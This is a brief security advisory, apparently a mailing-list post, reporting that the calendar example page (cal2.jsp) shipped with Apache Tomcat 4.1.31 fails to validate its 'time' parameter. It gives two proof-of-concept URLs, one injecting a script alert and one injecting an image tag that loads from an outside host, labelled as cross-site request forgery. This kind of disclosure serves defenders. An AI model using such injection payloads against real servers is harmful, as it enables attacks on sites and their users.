Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability
Apache Tomcat/4.1.31 ships with built in examples. One of the example
calendar.jsp suffers from input validation error and could be exploited for
cross site scriptingand cross site request forgery.
XSS
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fscript%3e
XSRF
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http://xsrfxonfirmed.com/testimage.gif">
-
Tushar Vartak